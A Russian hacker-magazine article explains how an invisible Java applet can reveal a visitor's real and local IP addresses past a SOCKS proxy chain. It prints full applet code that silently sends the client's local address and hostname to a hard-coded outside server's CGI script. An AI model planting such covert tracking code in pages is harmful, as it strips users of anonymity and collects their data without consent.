Разговорчивый осел Докучаев Дмитрий aka Forb Хакер, номер #080, стр. 080-048-3 [java – источник зла] Но JavaScript может нанести копеечный урон по сравнению с тем, на что способна дочка Sun Microsystems — Java. Если ты до сих пор разрешаешь загрузку любых ява-апплетов, то тебе стоит задуматься нам собственной безопасностью. Ведь существуют достаточно простые наработки, позволяющие узнать твой реальный IP-адрес, даже если ты работаешь через цепочку socks-серверов. На самом деле, механизм определения айпишника прост до безумия. Реализовать этот прием тебе не помешает даже тот факт, что ты ничего не смыслишь в программировании на Java :). Основная идея заключается в том, чтобы включить в страницу шпионского сайта невидимый апплет, который, при помощи стандартного сетевого компонента java.net, создаст сокет с твоим узлом и вызовет выполнение скрипта, который запишет в лог IP-адрес клиента. Совершенно понятно, что это будет именно реальный IP-адрес, поскольку байт-код java-приложения выполняется виртуальной машиной и, разумеется, подключение будет реализовано напрямую, без использования проксиков, указанных в настройках браузера. Такой фокус вполне можно использовать даже для организации антифродовой системы. Представим на секунду, будто бы негодяйский взломщик пытается обмануть на пару тысяч долларов американский интернет-магазин. Как полагается, он заходит через цепочку socks-серверов на сайт е-шопа и приступает к своему черному делу. В процессе вбивания левых данных наш герой не обращает внимание, что на одной из страниц загрузился невидимый java-апплет, который и выдал админам всю информацию о его реальном IP. Помимо этого трюка, с помощью стандартных методов java вполне реально узнать и ip-адрес локального интерфейса клиента. Скажем, если пользователь работает в локальной сети и сидит в инете через NAT, то при помощи первого способа ты получишь внешний ip его шлюза. Но оказывается, что возможно получить и адрес локального интерфейса: делается это при помощи стандартного метода InetAddress.getLocalHost(). Чтобы не быть голословным я приведу пример кода, который подключается напрямую к web-серверу и выполняет там CGI-сценарий, передавая ему в качестве параметра адрес локального интерфейса и имя компьютера: [java-апплет для определения реального IP] import java.applet.Applet; import java.awt.*; import java.io.*; import java.net.*; public class te extends Applet { Socket sock; DataInputStream in; String res; InetAddress l_ip; String s_ip; public void init() { try { l_ip = InetAddress.getLocalHost(); s_ip=l_ip.toString(); Socket sock = new Socket("217.10.40.71", 80); PrintStream printstream = new PrintStream(sock.getOutputStream()); printstream.println("GET /script.pl?ip=" + s_ip + "\n\r\n\r"); in = new DataInputStream(sock.getInputStream()); res = in.readLine(); printstream.close(); sock.close(); } catch (IOException e) {} }} |